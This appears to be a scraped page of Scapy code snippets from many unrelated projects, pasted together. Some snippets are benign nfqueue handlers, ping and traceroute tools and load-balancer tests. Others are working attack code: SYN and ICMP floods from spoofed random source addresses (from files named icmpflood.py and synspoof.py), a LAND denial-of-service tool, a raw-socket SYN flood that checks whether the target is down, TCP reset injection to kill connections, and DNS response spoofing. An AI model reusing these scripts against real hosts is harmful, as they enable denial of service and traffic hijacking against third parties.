示例#1
0
    def incoming_nfqueue_packet(self,dummy, packet):
        ''' Handler for incoming packets coming from the nfqueue '''
        data = packet.get_data()
        ippacket = IP(data)
        
        if self.initialisation:
            print("Packet received waiting for initialisation")
            return #I could have also initialised here but lazy of writing the code, prefer doing it when a packet is sent by the kernel
        
        kwargs={'IP':ippacket.fields}
        tcppacket = ippacket.payload
        if tcppacket.name != "TCP":
            packet.set_verdict(nfqueue.NF_ACCEPT) #Accept if not TCP
        
        print("\nIncoming: "+str(tcppacket.fields))
        print("seqNoa: %s\t| seqNo: %s\nackNoa: %s\t| ackNo: %s\nnextAcka: %s\t| nextAck: %s" % (self.seqNoa,self.seqNo,self.ackNoa,self.ackNo,self.nextAcka,self.nextAck))

        p = self.packet_received(tcppacket, **kwargs) #If a packet is return accept the modified packet otherwise just drop it
        if p: #If a packet is returned it means it should be forwarded to the kernel
            del p.chksum #I think it's good !
            ippacket.payload = p
            packet.set_verdict_modified(nfqueue.NF_ACCEPT, str(ippacket), len(ippacket))
        else:
            packet.set_verdict(nfqueue.NF_DROP)
            print("Packet dropped !")
示例#2
0
    def tryInterfaces(self, ifaces):
        try:
            from scapy.all import sr1   ## we want this check to be blocking
        except:
            log.msg("This test requires scapy: www.secdev.org/projects/scapy")
            raise SystemExit

        ifup = {}
        while ifaces:
            for ifname, ifaddr in ifaces:
                log.debug("Currently testing network capabilities of interface"
                          + "%s  by sending a packet to our address %s"
                          % (ifname, ifaddr))
                try:
                    pkt = IP(dst=ifaddr)/ICMP()
                    ans, unans = sr(pkt, iface=ifname, timeout=self.timeout)
                except Exception, e:
                    raise PermissionsError if e.find("Errno 1") else log.err(e)
                else:
                    ## xxx i think this logic might be wrong
                    log.debug("Interface test packet\n%s\n\n%s"
                              % (pkt.summary(), pkt.show2()))
                    if ans.summary():
                        log.info("Received answer for test packet on interface"
                                 +"%s :\n%s" % (ifname, ans.summary()))
                        ifup.update(ifname, ifaddr)
                    else:
                        log.info("Our interface test packet was unanswered:\n%s"
                                 % unans.summary())
示例#3
0
 def rewrite(self, pkt):
     ip = IP(pkt)
     if ip.haslayer(DNS):
         iph = ip.getlayer(IP)
         udph = ip.getlayer(UDP)
         dns = ip.getlayer(DNS)
         if dns.qr == 0:  # query
             record = {
                 'dst_ip':  iph.dst,
                 'time': datetime.utcnow()
             }
             self.records[dns.id] = record
             self.logger.debug("rewriting DNS query: %s to %s" % (iph.dst,
                 self.config['force_nameserver']))
             iph.dst = self.config['force_nameserver']
         elif dns.qr == 1:  # answer
             self.logger.debug("found DNS answer: " + dns.summary())
             record = self.records.get(dns.id, None)
             if record:
                 self.logger.debug("rewriting DNS answer: %s to %s" % (
                     iph.src, record['dst_ip']))
                 iph.src = record['dst_ip']
                 del self.records[dns.id]
         del iph.chksum
         del udph.chksum
         del iph.len
         del udph.len
         return str(iph / udph / dns)
def cb(dummy, payload):
	pkt = IP(payload.get_data())
	# set the TTL
	pkt.ttl = 24
	# clear the IP checksum so that Scapy recalculates it, since we modified the IP header
	del pkt.chksum
	# reinject the packet!
	payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(pkt), len(pkt))
示例#5
0
文件: icmpflood.py 项目: sfluo/Mr.Bot
	def run(self):
		print "Starting %s %s %d" % (self.name, self.target, self.port)
		i = IP() 
		i.src="%i.%i.%i.%i" % (random.randint(1, 254), random.randint(1,254), random.randint(1, 254), random.randint(1,254))
		i.dst = self.target
		t = ICMP()
		print "Spoofing %s to send ICMP ..." % i.src
		sr1(i/ICMP,verbose=0)
示例#6
0
文件: scans.py 项目: rata/redes-tps
def _syn_scan(host, port, timeout):

    pkt = IP(dst=host) / TCP(dport=port,flags="S")
    pkt = sr1(pkt, timeout=timeout)

    if pkt is None:
        return None

    return pkt.getlayer(TCP).flags
示例#7
0
文件: synspoof.py 项目: sfluo/Mr.Bot
	def run(self):
		print "Starting %s %s %d" % (self.name, self.target, self.port)
		i = IP() 
		i.src="%i.%i.%i.%i" % (random.randint(1, 254), random.randint(1,254), random.randint(1, 254), random.randint(1,254))
		i.dst = self.target
		t = TCP()
		t.dport = self.port
		t.flags='S'	
		print "Spoofing %s to send SYN ..." % i.src
		sr1(i/t,verbose=0)
示例#8
0
    def outgoing_nfqueue_packet(self, dummy, packet):
        ''' Handler for outgoing packets coming from the nfqueue '''
     
        data = packet.get_data() #Recover raw data
        ippacket = IP(data)      #Convert bytes to a Scapy IP packet
        
        kwargs={'IP':ippacket.fields} 
        tcppacket = ippacket.payload #recover TCP packet
        if tcppacket.name != 'TCP':
            packet.set_verdict(nfqueue.NF_ACCEPT) #Accept if not TCP
        kwargs['TCP'] = tcppacket.fields
    
        print("\nOutgoing: "+tcppacket.summary())
        print("seqNoa: %s\t| seqNo: %s\nackNoa: %s\t| ackNo: %s\nnextAcka: %s\t| nextAck: %s" % (self.seqNoa,self.seqNo,self.ackNoa,self.ackNo,self.nextAcka,self.nextAck))
        
        if self.initialisation: #If we are in the initialisation stage. Initialise all variables
            self.localIP = ippacket.src
            self.remoteIP = ippacket.dst
            self.localPort = tcppacket.sport
            self.remotePort = tcppacket.dport
            self.connectionID=(self.localIP,self.localPort,self.remoteIP,self.remotePort)
            self.nextAcka = tcppacket.seq
            self.nextAck = tcppacket.seq
            self.seqNoa = tcppacket.seq
            self.seqNo = tcppacket.seq
            self.ackNoa = tcppacket.ack
            self.ackNo = tcppacket.ack
            self.initialisation = False #Finally switch the initialisation boolean to false
            print("Initialisation done")

        #Test below needed because MITM packets are also caught by the nfqueue, and in this case let them go.
        if self.pending.pop((ippacket.seq,ippacket.ack),None): # If packet not sent by 'pystack' (sent by kernel).
            self.come_from_kernel = False    
        else:
            self.come_from_kernel = True
        
        if self.come_from_kernel:
            if tcppacket.payload:
                modif = self.send_packet(tcppacket.payload.load, tcppacket.flags, **kwargs) #Call send_packet and get the resulting (modified) packet
            else:
                modif = self.send_packet(None, tcppacket.flags, **kwargs)
            print("About to send(kernel):",ippacket.fields)
            print("About to send(kernel):",tcppacket.fields)
            del tcppacket.chksum #Remove checksum so that it will be recalculated by Scapy when sent

            tcppacket.fields.update(modif) #Update packets with our modifications
            ippacket.payload = tcppacket #Put back the tcp packet into ip packet
            print("seqNoa: %s\t| seqNo: %s\nackNoa: %s\t| ackNo: %s\nnextAcka: %s\t| nextAck: %s" % (self.seqNoa,self.seqNo,self.ackNoa,self.ackNo,self.nextAcka,self.nextAck))
            p = str(ippacket)
            print("Post build: ",IP(p).fields)
            print("Post build: ",IP(p).payload.fields)
            l = len(p)
            packet.set_verdict_modified(nfqueue.NF_ACCEPT, p, l) #Accept the modified packet
        else:
            packet.set_verdict(nfqueue.NF_ACCEPT) #packet coming from pystack but caught by the nfqueue 
示例#9
0
    def run(self):
        i = IP()
        i.src = "%i.%i.%i.%i" % (random.randint(1, 254), random.randint(1, 254), random.randint(1, 254), random.randint(1, 254))
        i.dst = self.target

        t = TCP()
        t.sport = random.randint(1, 65535)
        t.dport = self.port
        t.flags = 'S'

        send(i / t, verbose=0)
	def recv(self, bufsize):
		self.ins.read(1) # used only for poll/sync
		pkt, ts = self.nflog.pipe.popleft()
		if pkt is None: return
		try: pkt = IP(pkt)
		except KeyboardInterrupt: raise
		except:
			if conf.debug_dissector: raise
			pkt = conf.raw_layer(pkt)
		pkt.time = ts
		return pkt
示例#11
0
def cb(qh, nfmsg, nfad, data):
    """
    int nfq_callback(struct nfq_q_handle *qh,
                     struct nfgenmsg *nfmsg,
                     struct nfq_data *nfad, void *data);
    """
    payload = NFQ.cb_get_payload(nfad)
    packet_id = NFQ.cb_get_packet_id(nfad)
    ip = IP(payload)
    LOG.info("ID %d: %s", packet_id, ip.summary())
    sleep(SLEEP_SECS)
    NFQ.cb_set_verdict(qh, packet_id, NFQ.NF_ACCEPT)
    return 1
示例#12
0
    def run(self):
        packet_ip = IP()
        packet_ip.src = "{}.{}.{}.{}".format(random.randint(1, 254),
                                             random.randint(1, 254),
                                             random.randint(1, 254),
                                             random.randint(1, 254))
        packet_ip.dst = self.host

        packet_tcp = TCP()
        packet_tcp.sport = random.randint(1024, 65535)
        packet_tcp.dport = self.port
        packet_tcp.flags = 'S'

        send(packet_ip/packet_tcp)
示例#13
0
def cmd_land(ip, count, port, iface, verbose):
    """This command implements the LAND attack, that sends packets forging the
    source IP address to be the same that the destination IP. Also uses the
    same source and destination port.

    The attack is very old, and can be used to make a Denial of Service on
    old systems, like Windows NT 4.0. More information here:
    https://en.wikipedia.org/wiki/LAND

    \b
    # sudo habu.land 172.16.0.10
    ............

    Note: Each dot (.) is a sent packet. You can specify how many
    packets send with the '-c' option. The default is never stop. Also, you
    can specify the destination port, with the '-p' option.
    """

    conf.verb = False

    if iface:
        conf.iface = iface

    layer3 = IP()
    layer3.dst = ip
    layer3.src = ip

    layer4 = TCP()
    layer4.dport = port
    layer4.sport = port

    pkt = layer3 / layer4

    counter = 0

    while True:
        send(pkt)
        counter += 1

        if verbose:
            print(pkt.summary())
        else:
            print('.', end='')
            sys.stdout.flush()

        if count != 0 and counter == count:
            break

    return True
示例#14
0
文件: nfq.py 项目: philips/earthquake
 def cb(qh, nfmsg, nfad, data):
     """
     int nfq_callback(struct nfq_q_handle *qh,
                      struct nfgenmsg *nfmsg,
                      struct nfq_data *nfad, void *data);
     """
     print "===CB==="
     LOG.info("CB called with data=%s", data)
     payload = NFQ.cb_get_payload(nfad)
     packet_id = NFQ.cb_get_packet_id(nfad)
     hexdump(payload)
     ip = IP(payload)
     LOG.info("ID %d: %s", packet_id, ip.summary())
     NFQ.cb_set_verdict(qh, packet_id, NFQ.NF_ACCEPT)
     return 1
示例#15
0
    def encap_data(self, p, src, dst, force=False, **kwargs):
        """Encapsulate data packet (if needed) for delivery to next hop.

        :param p: Packet to deliver.
        :param src: Source address.
        :param dst: Destination address.
        :param force: If true, force encapsulation into a new IP packet.
        :param kwargs: Additional keywords passed to IP constructor.
        :return: Encapsulated/modified packet for delivery.

        If `p` is already an IP packet and `force` is false, this method will
        update 'src', 'dst', and 'ttl' fields as needed. Otherwise, this method
        encapsulates `p` with an IP header.

        :note: By default this method assumes that `ptype` indicates IPv4.
               *Overload this method to handle other protocol types*.
        """
        # if no encapsulation needed -> update parameters
        isip = isinstance(p, Packet) and p.haslayer(IP)
        if isip and (not force):
            # update IP parameters
            ip = p[IP]
            ip.src, ip.dst = src, dst
            if 'ttl' in kwargs: ip.ttl = kwargs['ttl']
            proto = self.getproto(ip.payload)
            ip.proto = proto
            ip.id = ip._id
            # update chksum
            chksum = self.updatechksum(ip, overwrite=True)
            return ip
        # set up TTL parameter
        ttl = None
        if 'ttl' in kwargs:
            ttl = kwargs['ttl']
            del kwargs['ttl']
        elif (dst==self.broadcast):
            ttl = 1                     # broadcast only use 1 hop
        # correct TTL if needed
        if (ttl is None): ttl = self.MaxTTL
        ttl = min(ttl, self.MaxTTL)
        # create IP packet
        ip = IP(**kwargs)
        ip.add_payload(p)
        # Scapy kludge: build payload to make sure no missing fields are unset
        if isinstance(p, Packet): s = p.do_dissect(p.build())
        # use recursive call to set remaining parameters
        return self.encap_data(ip, src, dst, ttl=ttl, force=False)
示例#16
0
	def sendToNet(self, packet):
		print "packet", repr(packet)
		scp = IP(packet)
		checksum = crc32(packet) & 0xffffffff
		checksumStr = "%08x" % checksum
		hexRepr = " ".join(map(lambda x: "%02x" % ord(x), packet[4:])) + " " + " ".join(map(lambda x: checksumStr[x:x+2], range(0, len(checksumStr), 2)))
		print " ?>", scp.summary(), " -- hex len", len(hexRepr), "checksum 0x%08x" % checksum
		i = ""
		while i.lower() not in ("a", "d"):
			i = raw_input(" ?? (A)ccept/(D)rop? ")
		if i == "a":
			# accept the packet!
			print " >> Moved one packet to printer"
			self.toPrinter(hexRepr)
			self.reader.output(hexRepr.replace(" ", ""))
		else:
			print " -- Dropped"
示例#17
0
def source_fix(dummy, this_packet):
    """
    Called when a PnPIPsec message arrives to handle the message.
    """
    print "source_fix"
    # parse the message and its type
    pkt = IP(this_packet.get_data())
    #print "+++++++++++++++++++++++++++++++++"
    #print pkt.show()
    #print "+++++++++++++++++++++++++++++++++"
    #print "---------------------------------"
    if (type(pkt[TCP].payload) is not packet.NoPayload):
        response = pickle.loads(str(pkt[TCP].payload))
        print "changing source to ", response.real_src
        print dir(pkt)
        pkt.src = response.real_src
    this_packet.set_verdict(nfqueue.NF_ACCEPT)
示例#18
0
def cmd_ping(ip, interface, count, timeout, wait, verbose):
    """The classic ping tool that send ICMP echo requests.

    \b
    # habu.ping 8.8.8.8
    IP / ICMP 8.8.8.8 > 192.168.0.5 echo-reply 0 / Padding
    IP / ICMP 8.8.8.8 > 192.168.0.5 echo-reply 0 / Padding
    IP / ICMP 8.8.8.8 > 192.168.0.5 echo-reply 0 / Padding
    IP / ICMP 8.8.8.8 > 192.168.0.5 echo-reply 0 / Padding
    """

    if interface:
        conf.iface = interface

    conf.verb = False
    conf.L3socket=L3RawSocket

    layer3 = IP()
    layer3.dst = ip
    layer3.tos = 0
    layer3.id = 1
    layer3.flags = 0
    layer3.frag = 0
    layer3.ttl = 64
    layer3.proto = 1 # icmp

    layer4 = ICMP()
    layer4.type = 8 # echo-request
    layer4.code = 0
    layer4.id = 0
    layer4.seq = 0

    pkt = layer3 / layer4

    counter = 0

    while True:
        ans = sr1(pkt, timeout=timeout)
        if ans:
            if verbose:
                ans.show()
            else:
                print(ans.summary())
            del(ans)
        else:
            print('Timeout')

        counter += 1

        if count != 0 and counter == count:
            break

        sleep(wait)

    return True
示例#19
0
    def callback(self, _, nfq_packet):
        # Get packetdata from nfqueue packet and build a Scapy packet
        pkt = IP(nfq_packet.get_data())

        # check TCP packets
        if pkt.haslayer(TCP):
            check_TCP_probes(pkt, nfq_packet, self.os_pattern)

        # check ICMP packets
        elif pkt.haslayer(ICMP):
            check_ICMP_probes(pkt, nfq_packet, self.os_pattern)

        # check UDP packets
        elif pkt.haslayer(UDP):
            check_UDP_probe(pkt, nfq_packet, self.os_pattern)

        # don't analyse it, continue to destination
        else:
            forward_packet(nfq_packet)
        return 0
示例#20
0
def main(args):
    print "[*] Comenzando el fuzzing..."

    pkt_lst = []

    for i in xrange(args.count):

        ip_layer = IP(dst=args.target)

        # Fuzz IP layer
        #
        #  Src ramdon?
        if random_bool():
            ip_layer.src = str(RandIP())
        # IP ID
        if random_bool():
            ip_layer.id = int(RandShort())
        # IP TTL
        if random_bool():
            ip_layer.ttl = int(RandInt()) % 255

        icmp_layer = ICMP()

        # Fuzz ICMP layer
        #
        #  Type random
        if random_bool():
            icmp_layer.type = int(RandByte())
        #  Seq random
        if random_bool():
            icmp_layer.seq = int(RandShort())

        pkt = ip_layer/icmp_layer

        pkt_lst.append(pkt)

    sendp(pkt_lst, inter=args.interval)

    print "[*] Enviado %s paquetes" % i
示例#21
0
def handle_packet(hdr, data):
    eth = eth_decoder.decode(data)
    ip = ip_decoder.decode(eth.get_data_as_string())
    tcp = tcp_decoder.decode(ip.get_data_as_string())

    if not tcp.get_SYN() and not tcp.get_RST() and \
            not tcp.get_FIN() and tcp.get_ACK():
        packet = IP(src=ip.get_ip_dst(),
                    dst=ip.get_ip_src()) / \
                 TCP(sport=tcp.get_th_dport(),
                     dport=tcp.get_th_sport(),
                     seq=tcp.get_th_ack(),
                     ack=tcp.get_th_seq()+1,
                     flags="R")

        send(packet, iface=dev)

        print("RST %s:%d -> %s:%d" % (ip.get_ip_src(),
                                      tcp.get_th_sport(),
                                      ip.get_ip_dst(),
                                      tcp.get_th_dport()))
    def test_01_syn_accepted(self):
        pkt = \
         IP(dst=self.PROXY_HOST) / \
         UDP(sport=12345, dport=19523) / \
         GLBGUE(private_data=GLBGUEChainedRouting(hops=[self.ALT_HOST])) / \
         IPv6(src=self.SELF_HOST_V6, dst=self.V4_TO_V6[self.PROXY_HOST]) / \
         TCP(sport=123, dport=22, flags='S')

        # expect a SYN-ACK back from self.PROXY_HOST (decapsulated)
        resp_ip = self._sendrecv6(pkt,
                                  filter='host {} and port 22'.format(
                                      self.V4_TO_V6[self.PROXY_HOST]))
        assert isinstance(resp_ip, IPv6)
        assert_equals(resp_ip.src, self.V4_TO_V6[self.PROXY_HOST])
        assert_equals(resp_ip.dst, self.SELF_HOST_V6)

        resp_tcp = resp_ip.payload
        assert isinstance(resp_tcp, TCP)
        assert_equals(resp_tcp.sport, 22)
        assert_equals(resp_tcp.dport, 123)
        assert_equals(resp_tcp.flags, 'SA')
示例#23
0
def test_serialToTUN():
    """
    Test serial port to TUN link. Don't need a serial port but just assume that
    an IP packet was received from the serial port and properly decoded with
    SLIP. Send it to the TUN and verify that the IP:PORT receives the message.
    """
    # Create a test serial port for TUN Monitor class. Won't be used.
    serialPort = SerialTestClass()

    # Configure TUN IP:PORT and IP Packet source IP:PORT parameters for test
    sourceAddress = '10.0.0.2'
    sourcePort = 9998
    destPort = 9999

    # Start a TUN Monitor class
    TUNMonitor = faraday.Monitor(serialPort=serialPort)

    # Open a socket for UDP packets and bind it to the TUN address:port
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.bind((TUNMonitor._TUN._tun.addr, destPort))

    # Create simple IP packet with message. Send to TUN address:port
    message = bytes("Hello, World! {0}".format(time.time()), "utf-8")
    etherType = b"\x00\x00\x08\x00"
    packet = etherType + (IP(dst=TUNMonitor._TUN._tun.addr,
                             src=sourceAddress) /
                          UDP(sport=sourcePort,
                              dport=destPort)/message).__bytes__()

    # Write a simple message over the TUN, no need for checker thread
    TUNMonitor._TUN._tun.write(packet)

    # Receive data from the socket bound to the TUN address:port
    data, address = s.recvfrom(TUNMonitor._TUN._tun.mtu)

    # Check that data written to TUN matches data received from socket
    assert data == message

    # Close the socket
    s.close()
示例#24
0
    def handle_ack(pkt, addr, iface):
        global cwnd, ssthresh, currently_sent, lastAckNo, dup_ack_counter
        if P4tcp in pkt:
            p4tcp = pkt[P4tcp]
            if (p4tcp.packetType == "A"):  # ACK packet
                ackNum = p4tcp.ackNo
                if (ackNum > lastAckNo):
                    lastAckNo = ackNum
                    if (cwnd <= ssthresh):  # Slow start phase
                        cwnd = min(cwnd * 2, MAX_CWND)
                    else:  # Congestion avoidance phase
                        cwnd = min(cwnd + 1, MAX_CWND)
                    # print("Cwnd: " + str(cwnd))
                elif (ackNum == lastAckNo):  # dupACK
                    dup_ack_counter = dup_ack_counter + 1
                    if (dup_ack_counter >= 3):
                        # print("Need to retransmit!!")
                        # retransmit
                        message = randStr(N=10)  # new message is generated
                        pkt = Ether(src=get_if_hwaddr(iface),
                                    dst='ff:ff:ff:ff:ff:ff')
                        tcp_pkt = P4tcp(dstPort=1234,
                                        srcPort=2345,
                                        seqNo=ackNum,
                                        ackNo=1,
                                        dataPayload=message)
                        pkt = pkt / IP(dst=addr,
                                       proto=P4TCP_PROTOCOL) / tcp_pkt
                        sendp(pkt, iface=iface, verbose=False)
                        # reduce cwnd - TCP Tahoe: ssthresh = cwnd /2 and set cwnd to 1
                        # ssthresh = cwnd / 2
                        # cwnd = 1
                        # reduce cwnd - TCP Reno: cwnd = cwnd / 2 and sstresh = cwnd
                        cwnd = max(1, cwnd / 2)
                        ssthresh = cwnd
                        dup_ack_counter = 0

                lock.acquire()
                currently_sent = currently_sent - 1
                lock.release()
示例#25
0
def sshv4_probe(dst_host, dst_port, interface, use_fw, timeout):
    stack_name_ssh = None
    match_ssh = MATCH_NO_MATCH

    ip = IP(version=0x4, id=0x00fb, dst=dst_host)

    try:
        # We need to set up this rule in order to disable RST packets sent by the Linux kernel
        if use_fw:
            subprocess.check_call(['iptables', '-A', 'OUTPUT', '-p', 'tcp',
                                   '--tcp-flags', 'RST', 'RST', '-s', '%s' % ip.src, '-j', 'DROP'])

        syn_ack = tcp_handshake(dst_host, dst_port, interface, {}, timeout)
        if syn_ack == None:
            return (None, MATCH_NO_REPLY)

        response_pkts = sniff(filter='tcp and src %s' % dst_host, timeout=timeout*2, iface=interface)

        for pkt in response_pkts:
            if Raw in pkt:

                # FreeBSD
                if re.search(b'OpenSSH_(\d.*)\sFreeBSD', pkt[Raw].load, re.IGNORECASE):
                    stack_name_ssh = 'FreeBSD'
                    match_ssh = MATCH_HIGH
                    break

    except Exception as ex:
        if 'Errno 19' in '%s' % ex:
            print('\nERROR: the interface \'{}\' is invalid\n'.format(interface))
        else:
            print('\nERROR: {}\n'.format(ex))

    finally:
        # Cleanup the iptables rule
        if use_fw:
            subprocess.check_call(['iptables', '-D', 'OUTPUT', '-p', 'tcp',
                                   '--tcp-flags', 'RST', 'RST', '-s', '%s' % ip.src, '-j', 'DROP'])

    return (stack_name_ssh, match_ssh)
示例#26
0
	def dns_spoofer(self, pkt):
		"""Send spoofed DNS responses to the target"""
		if (pkt[IP].src == self.target_ipv4 and
			pkt.haslayer(DNS) and
			pkt[DNS].qr == 0 and				# DNS Query
			pkt[DNS].opcode == 0 and			# DNS Standard Query
			pkt[DNS].ancount == 0				# Answer Count
			#pkt[DNS].qd.qname in SPOOFED_SITE	# Query domain name
			):

			print("[*] Sending spoofed DNS response")

			if (pkt.haslayer(IPv6)):
				ip_layer = IPv6(src=pkt[IPv6].dst, dst=pkt[IPv6].src)
			else:
				ip_layer = IP(src=pkt[IP].dst, dst=pkt[IP].src)


			# Create the spoofed DNS response (returning back our IP as answer
			# instead of the endpoint)
			dns_resp =  ip_layer/ \
						UDP(
							dport=pkt[UDP].sport,
							sport=53
							)/ \
						DNS(
							id=pkt[DNS].id,					# Same as query
							ancount=1,						# Number of answers
							qr=1,							# DNS Response
							ra=1,							# Recursion available
							qd=(pkt.getlayer(DNS)).qd,		# Query Data
							an=DNSRR(
								rrname=pkt[DNSQR].qname,	# Queried host name
								rdata=self.webserver_ipv4,	# IP address of queried host name
								ttl = 10
								)
							)

			# Send the spoofed DNS response
			send(dns_resp, verbose=0)
示例#27
0
    def test_01_route_classified_v4(self):
        for ip_kwargs, tcp_kwargs, expected_route in self.expected_routes:
            test_packet = Ether() / IP(**ip_kwargs) / TCP(**tcp_kwargs)
            self.sendp(test_packet, iface=self.IFACE_NAME_PY)

            route_path = self.route_for_packet(test_packet,
                                               fields=self.route_fields)
            if self.alt_route_fields is not None:
                route_path.extend(
                    self.route_for_packet(test_packet,
                                          fields=self.alt_route_fields))
            assert_equals(route_path, expected_route)

            packet = self.wait_for_packet(
                self.eth_tx, lambda packet: isinstance(packet.payload, IP) and
                packet.payload.dst == route_path[0])

            assert isinstance(packet, Ether)
            assert_equals(packet.dst, self.py_side_mac)

            fou_ip = packet.payload
            assert isinstance(fou_ip, IP)  # Expecting an IP packet
            assert_equals(fou_ip.src, '65.65.65.65')
            assert_equals(fou_ip.dst, route_path[0])

            fou_udp = fou_ip.payload
            assert isinstance(fou_udp, UDP)  # Expecting a FOU packet
            assert_equals(
                fou_udp.sport,
                self.sport_for_packet(test_packet, fields=self.route_fields))
            assert_equals(fou_udp.dport, self.DIRECTOR_GUE_PORT)

            glb_gue = fou_udp.payload
            assert isinstance(
                glb_gue,
                GLBGUE)  # Expecting a GUE packet (scapy will always map this)
            assert_equals(glb_gue.private_data[0].hop_count,
                          len(route_path) - 1)
            assert_equals(glb_gue.private_data[0].next_hop, 0)
            assert_equals(glb_gue.private_data[0].hops, route_path[1:])
示例#28
0
def traceroute_sr1_to_ans_i(dst_ip,ttl_seq,timeout):
    """
    Esta funcion recibe una ip destino, un ttl, y un timeout
    y realiza un echo-request; devuelve un diccionario r
    con los pormenores del resultado.

    r['ans']   = answered requests
    r['unans'] = unanswered requests
    r['time']  = tiempo desde request hasta recibir el reply
    r['host']  = host que respondio el reply
    r['hosname']  = hostname (DNS-inverso) que respondio el reply
    """
    from scapy.all import sr, sr1, ICMP, TCP, IP, RandShort
    import datetime
    r = {}
    #r['sr1'] = sr1(IP(dst=dst_ip, ttl=ttl_seq, id=RandShort()) / TCP(flags=0x2), timeout=2, retry=0, verbose=VERBOSE)
    global ID_GLOBAL
    ID_GLOBAL += 1
    packet = IP(dst=dst_ip, ttl=ttl_seq, id=ID_GLOBAL) / ICMP(type="echo-request")
    start = datetime.datetime.now()
    r['ans'],r['unans'] = sr(packet, timeout=0.5, retry=0, verbose=VERBOSE)
    end = datetime.datetime.now()
    # python time
    #r['start_time'] = start
    #r['end_time'] = end
    #r['delta_time'] = end-start
    #r['time'] = "%s ms"%int(round( r['delta_time'].total_seconds() * 1000 ))
    if r['ans'] != None and len(r['ans']) >= 1 and len(r['ans'][0]) >= 2:
        r['host'] = r['ans'][0][1][IP].src
        r['hostname'] = reverse_dns_resolve(r['host'])
        # packet time
        r['p_start_time'] = r['ans'][0][0].time
        r['p_end_time'] = r['ans'][0][1].time
        r['p_delta_time'] = r['p_end_time']-r['p_start_time']
        r['time'] = "%s ms"%int(round( r['p_delta_time'] * 1000 ))
    else:
        r['host'] = "*"
        r['hostname'] = "*"
        r['time'] = "*"
    return r
示例#29
0
def sendpacket(Ip_range, destinationnew, targetport, destination):
    from scapy.all import IP, TCP
    from checkserversdown_synflood import *
    import random
    import socket
    silva = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
    silva.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
    cnt = 1
    cntchecksum = 1
    cntcheck = 1
    if type(Ip_range) != list:
        while 0 == 0:
            try:
                pkt = IP(dst=str(destinationnew),
                         src=str(Ip_range),
                         ttl=int(random.randint(80, 254))) / TCP(
                             dport=int(targetport),
                             sport=int(random.randint(1024, 65535)),
                             flags="S")
                silva.sendto(bytes(pkt), (str(destinationnew), 0))
                print str(cnt) + ' packages sent!'
                if cntcheck == 1:
                    cntcheck = random.randint(8000, 10000)
                    cnt = cnt + 1
                    cntchecksum = cntchecksum + 1

                else:
                    if cntchecksum == cntcheck:
                        if 'h' in destination:
                            checkserversdown(destination)
                            cntcheck = 1
                    else:
                        cnt = cnt + 1
                        cntchecksum = cntchecksum + 1

            except socket.error, e:
                silva.close()
                silva = socket.socket(socket.AF_INET, socket.SOCK_RAW,
                                      socket.IPPROTO_TCP)
                silva.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
示例#30
0
    def test_04_reload_and_unhealthy_primary(self):
        config = self.get_running_forwarding_config()
        # this will cause the packet to be destined to the secondary, with alternate of the primary.
        config['tables'][0]['backends'][2]['healthy'] = False
        self.update_running_forwarding_tables(config)
        time.sleep(1)

        test_packet = Ether() / IP(src="10.11.12.13", dst="1.1.1.1") / TCP(
            sport=45678, dport=80)
        self.sendp(test_packet, iface=self.IFACE_NAME_PY)
        packet = self.wait_for_packet(
            self.eth_tx, lambda packet: isinstance(packet.payload, IP) and str(
                packet.payload.dst) in ('2.3.4.5', '3.4.5.6'))

        fou_ip = packet.payload
        assert isinstance(fou_ip, IP)  # Expecting an IP packet
        assert_equals(fou_ip.src, '65.65.65.65')
        assert_equals(fou_ip.dst,
                      '2.3.4.5')  # what was previously the secondary

        fou_udp = fou_ip.payload
        assert isinstance(fou_udp, UDP)  # Expecting a FOU packet
        assert_equals(fou_udp.sport, self.sport_for_packet(test_packet))
        assert_equals(fou_udp.dport, self.DIRECTOR_GUE_PORT)

        glb_gue = fou_udp.payload
        assert isinstance(
            glb_gue,
            GLBGUE)  # Expecting a GUE packet (scapy will always map this)
        assert_equals(glb_gue.private_data[0].hop_count, 1)
        assert_equals(glb_gue.private_data[0].next_hop, 0)
        assert_equals(glb_gue.private_data[0].hops, ['3.4.5.6'])

        inner_ip = glb_gue.payload
        assert isinstance(inner_ip, IP)  # Expecting the inner IP packet
        assert_equals(inner_ip.dst, '1.1.1.1')

        inner_tcp = inner_ip.payload
        assert isinstance(inner_tcp, TCP)  # Expecting the inner TCP packet
        assert_equals(inner_tcp.dport, 80)
示例#31
0
def dns_spoofer(pkt):
    global g_target_ip, g_router_ip, g_server_ip

    if (pkt[IP].src == g_target_ip and pkt.haslayer(DNS) and pkt[DNS].qr == 0
            and  # DNS Query
            pkt[DNS].opcode == 0 and  # DNS Standard Query
            pkt[DNS].ancount == 0  # Answer Count
            #pkt[DNS].qd.qname in SPOOFED_SITE	# Query domain name
        ):

        print("Sending spoofed DNS response")

        if (pkt.haslayer(IPv6)):
            ip_layer = IPv6(src=pkt[IPv6].dst, dst=pkt[IPv6].src)
        else:
            ip_layer = IP(src=pkt[IP].dst, dst=pkt[IP].src)

        # Create the spoofed DNS response (returning back our IP as answer instead of the endpoint)
        dns_resp =  ip_layer/ \
           UDP(
            dport=pkt[UDP].sport,
            sport=53
            )/ \
           DNS(
            id=pkt[DNS].id,     # Same as query
            ancount=1,      # Number of answers
            qr=1,       # DNS Response
            ra=1,       # Recursion available
            qd=(pkt.getlayer(DNS)).qd,  # Query Data
            an=DNSRR(
             rrname=pkt[DNSQR].qname, # Queried host name
             rdata=g_server_ip, # IP address of queried host name
             ttl = 10
             )
            )

        # Send the spoofed DNS response
        print(dns_resp.show())
        send(dns_resp, verbose=0)
        print(f"Resolved DNS request for {pkt[DNS].qd.qname} by {g_server_ip}")
示例#32
0
def main():

    if len(sys.argv) < 3:
        print 'pass 2 arguments: <destination> "<numperOfPackers per process (10 processes)>"'
        exit(1)

    addr = socket.gethostbyname(sys.argv[1])
    numperOfPackers = int(sys.argv[2])
    print(numperOfPackers)
    iface = get_if()

    print "sending on interface %s to %s" % (iface, str(addr))

    pckList = []
    for i in range(0, 10):
        pkt = Ether(src=get_if_hwaddr(iface), dst='00:00:00:00:01:02')
        dstdPort = 1230
        pkt = pkt / IP(dst=addr) / TCP(dport=1234,
                                       sport=random.randint(49152, 65535)) / ""
        pckList.append(pkt)
        dstdPort += 1

    start = time.time()
    proc = []

    for i in range(0, 10):
        p = Process(target=send_multi, args=(
            pkt,
            iface,
            numperOfPackers,
        ))
        proc.append(p)
        p.start()

